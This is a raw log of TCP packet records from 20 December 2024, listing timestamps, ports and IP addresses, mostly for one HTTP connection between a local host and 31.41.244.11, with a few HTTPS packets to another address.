Dec 20, 2024 04:12:37.161072969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.161077023 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.161114931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.162061930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.162134886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.162256956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.162307024 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.163047075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.163098097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.163496971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.163753033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.164107084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.164175034 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.164212942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.164251089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.165136099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.165241957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.165285110 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.166162968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.166309118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.166349888 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.167228937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.167284966 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.167376995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.167416096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.168246031 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.168286085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.168349981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.168385029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.169276953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.169312954 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.169406891 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.169450045 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.170321941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.170361996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.170458078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.170510054 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.171331882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.171372890 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.171432972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.171478033 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.172370911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.172415972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.172472000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.172543049 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.173393011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.173446894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.173501968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.173588037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.174416065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.174463987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.174508095 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.174544096 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.175467968 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.175550938 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.175591946 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.176512003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.176563978 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.176599026 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.176678896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.177519083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.177560091 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.177619934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.177658081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.178546906 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.178602934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.178672075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.178859949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.179563999 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.179667950 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.179713964 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.179781914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.180613995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.180639029 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.180664062 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.180681944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.181670904 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.181720018 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.181777000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.181830883 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.182707071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.182749987 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.182795048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.182833910 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.183731079 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.183779001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.183818102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.183897972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.184773922 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.184819937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.184884071 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.184931040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.185772896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.185822010 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.185856104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.185889006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.186805010 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.186845064 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.186903000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.186944008 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.187828064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.187872887 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.187930107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.187978983 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.188812017 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.188858032 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.326720953 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.326764107 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.326777935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.326807022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.327197075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.327404022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.327451944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.327492952 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.327527046 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.328432083 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.328506947 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.328525066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.328541994 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.329498053 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.329554081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.329602003 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.329641104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.330533981 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.330589056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.330671072 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.330723047 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.331528902 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.331578970 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.331639051 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.331676006 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.332564116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.332624912 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.332712889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.332753897 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.333616972 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.333669901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.333703995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.333754063 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.334624052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.334764957 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.334918022 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.334965944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.335661888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.335709095 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.335748911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.336685896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.336710930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.336746931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.336786032 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.336824894 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.337730885 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.337924957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.337963104 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.337984085 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.338747978 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.338808060 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.338871956 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.338952065 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.339804888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.339931965 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.339960098 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.339982986 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.340841055 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.340954065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.340997934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.341845989 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.341887951 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.341962099 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.342082977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.342875957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.342921019 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.342953920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.342988968 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.343920946 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.343992949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.344033957 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.344073057 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.344959021 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.345010996 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.345051050 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.345191956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.345990896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.346141100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.346162081 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.346178055 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.346997976 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.347078085 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.347103119 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.347127914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.348035097 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.348157883 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.348202944 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.349080086 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.349271059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.349298000 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.349319935 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.350091934 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.350142956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.350209951 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.350250959 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.351135969 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.351177931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.351260900 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.351296902 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.352174997 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.352224112 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.352286100 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.352324963 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.353197098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.353245020 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.353301048 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.353343964 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.354240894 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.354291916 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.354357004 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.354394913 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.355262995 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.355339050 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.355380058 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.355421066 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.356300116 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.356343985 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.356384993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.356513977 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.357330084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.357393980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.357433081 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.357470036 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.358347893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.358388901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.358448982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.358485937 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.359397888 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.359492064 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.359536886 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.360409975 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.360491037 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.360524893 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.360563993 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.361434937 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.361483097 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.361578941 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.361615896 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.362487078 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.362587929 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.362627029 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.363512039 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.363562107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.363593102 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.363652945 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.364559889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.364602089 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.364658117 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.364696980 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.365575075 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.365611076 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.365662098 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.365701914 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.366621971 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.366662979 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.366743088 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.366780043 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.367633104 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.367705107 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.367789984 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.367837906 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.368680000 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.368731022 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.368875980 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.368926048 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.369682074 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.369730949 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.369816065 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.369868040 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.370734930 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.370775938 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.370832920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.370871067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.371761084 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.371804953 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.371865988 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.371902943 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.372791052 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.372833014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.372900963 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.372941017 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.373819113 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.373886108 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.373939037 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.374568939 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.374845982 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.374897003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.374969006 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.375010014 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.375921011 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.376019001 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.376085043 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.376137972 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.376964092 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.377005100 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.377063990 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.377104044 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.377979994 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.378057003 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.378074884 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.378109932 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.378994942 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.379040956 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.379125118 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.379164934 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.380014896 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.380060911 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.380105019 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.380158901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.404681921 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:37.404922009 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:37.405011892 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:37.405105114 CET	49839	443	192.168.2.4	104.21.23.76
Dec 20, 2024 04:12:37.405144930 CET	443	49839	104.21.23.76	192.168.2.4
Dec 20, 2024 04:12:37.518954992 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.518969059 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.519026041 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.519216061 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.519229889 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.519253969 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.519283056 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.520207882 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.520224094 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.520251989 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.520278931 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.521342993 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.521358013 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.521380901 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.521398067 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.522265911 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.522316933 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.522342920 CET	80	49838	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:37.522494078 CET	49838	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:37.523256063 CET	80	49838	31.41.244.11	192.168.2.4
